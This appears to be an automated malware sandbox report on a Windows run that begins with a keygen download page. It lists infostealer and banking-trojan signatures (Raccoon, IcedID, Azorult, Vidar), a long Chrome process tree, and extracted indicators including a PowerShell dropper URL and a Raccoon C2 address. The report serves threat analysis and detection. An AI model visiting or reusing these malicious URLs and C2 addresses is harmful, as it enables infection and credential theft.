Resubmissions

06-10-2022 21:06

221006-zxrwaaaga6 10

13-04-2021 12:47

210413-myxlaxh4ta 10

12-04-2021 13:54

210412-6sz4v79f2x 10

Analysis

  • max time kernel
    216s
  • max time network
    226s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    12-04-2021 13:54

General

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://labsclub.com/welcome

Extracted

Family

raccoon

Botnet

a6bfe7e504db71e25642b830fd9b2c4366cf882a

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Extracted

Family

icedid

Campaign

1925120085

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • IcedID, BokBot

    IcedID is a banking trojan capable of stealing credentials.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 50 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 5 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
    1⤵
      PID:1956
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2808
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2796
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/3e16ccf432109nspn247.html
        1⤵
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:764
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0x84,0xd4,0x7ff9d0f64f50,0x7ff9d0f64f60,0x7ff9d0f64f70
          2⤵
            PID:1772
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1500 /prefetch:2
            2⤵
              PID:3236
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1652 /prefetch:8
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:2516
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2164 /prefetch:8
              2⤵
                PID:3720
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2860 /prefetch:1
                2⤵
                  PID:2232
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2868 /prefetch:1
                  2⤵
                    PID:2360
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
                    2⤵
                      PID:3468
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3480 /prefetch:1
                      2⤵
                        PID:3500
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
                        2⤵
                          PID:1004
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:1
                          2⤵
                            PID:3172
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4820 /prefetch:8
                            2⤵
                              PID:4340
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4984 /prefetch:8
                              2⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4548
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5168 /prefetch:8
                              2⤵
                                PID:4708
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5152 /prefetch:8
                                2⤵
                                  PID:4760
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5156 /prefetch:8
                                  2⤵
                                    PID:4804
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5488 /prefetch:8
                                    2⤵
                                      PID:4840
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:8
                                      2⤵
                                        PID:4876
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5432 /prefetch:8
                                        2⤵
                                          PID:4912
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5788 /prefetch:8
                                          2⤵
                                            PID:4924
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6464 /prefetch:8
                                            2⤵
                                              PID:4984
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6472 /prefetch:8
                                              2⤵
                                                PID:4996
                                              • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                2⤵
                                                  PID:5056
                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff76b18a890,0x7ff76b18a8a0,0x7ff76b18a8b0
                                                    3⤵
                                                      PID:5076
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6376 /prefetch:8
                                                    2⤵
                                                      PID:1388
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6388 /prefetch:8
                                                      2⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4104
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:8
                                                      2⤵
                                                        PID:3364
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6288 /prefetch:8
                                                        2⤵
                                                          PID:4312
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5348 /prefetch:8
                                                          2⤵
                                                            PID:4356
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6312 /prefetch:8
                                                            2⤵
                                                              PID:4480
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5676 /prefetch:8
                                                              2⤵
                                                                PID:4548
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5504 /prefetch:8
                                                                2⤵
                                                                  PID:4768
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5968 /prefetch:8
                                                                  2⤵
                                                                    PID:4812
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5396 /prefetch:8
                                                                    2⤵
                                                                      PID:4760
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5244 /prefetch:8
                                                                      2⤵
                                                                        PID:4852
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5792 /prefetch:8
                                                                        2⤵
                                                                          PID:4860
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:8
                                                                          2⤵
                                                                            PID:4140
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6860 /prefetch:8
                                                                            2⤵
                                                                              PID:5004
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6872 /prefetch:8
                                                                              2⤵
                                                                                PID:5044
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7136 /prefetch:8
                                                                                2⤵
                                                                                  PID:5024
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7128 /prefetch:8
                                                                                  2⤵
                                                                                    PID:4996
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7388 /prefetch:8
                                                                                    2⤵
                                                                                      PID:5112
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7516 /prefetch:8
                                                                                      2⤵
                                                                                        PID:5076
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7656 /prefetch:8
                                                                                        2⤵
                                                                                          PID:1504
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6672 /prefetch:8
                                                                                          2⤵
                                                                                            PID:4772
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7664 /prefetch:8
                                                                                            2⤵
                                                                                              PID:4204
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7692 /prefetch:8
                                                                                              2⤵
                                                                                                PID:2172
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5572 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:4360
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8252 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:4384
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5648 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:5032
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5612 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:5012
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5332 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:4248
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3544 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:4716
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4220 /prefetch:1
                                                                                                            2⤵
                                                                                                              PID:4588
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:1
                                                                                                              2⤵
                                                                                                                PID:5048
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5704 /prefetch:8
                                                                                                                2⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:5004
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4892 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:4916
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5056 /prefetch:8
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:4760
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6228 /prefetch:8
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:5056
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5416 /prefetch:8
                                                                                                                  2⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:4412
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
                                                                                                                  2⤵
                                                                                                                    PID:3872
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7492 /prefetch:8
                                                                                                                    2⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:3468
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1488,13613836580880623650,17244766630859040465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4224
                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                    1⤵
                                                                                                                      PID:2720
                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                      1⤵
                                                                                                                        PID:2556
                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                        1⤵
                                                                                                                          PID:2544
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                          1⤵
                                                                                                                            PID:1420
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                            1⤵
                                                                                                                              PID:1244
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                              1⤵
                                                                                                                                PID:1236
                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                1⤵
                                                                                                                                  PID:1076
                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s Schedule
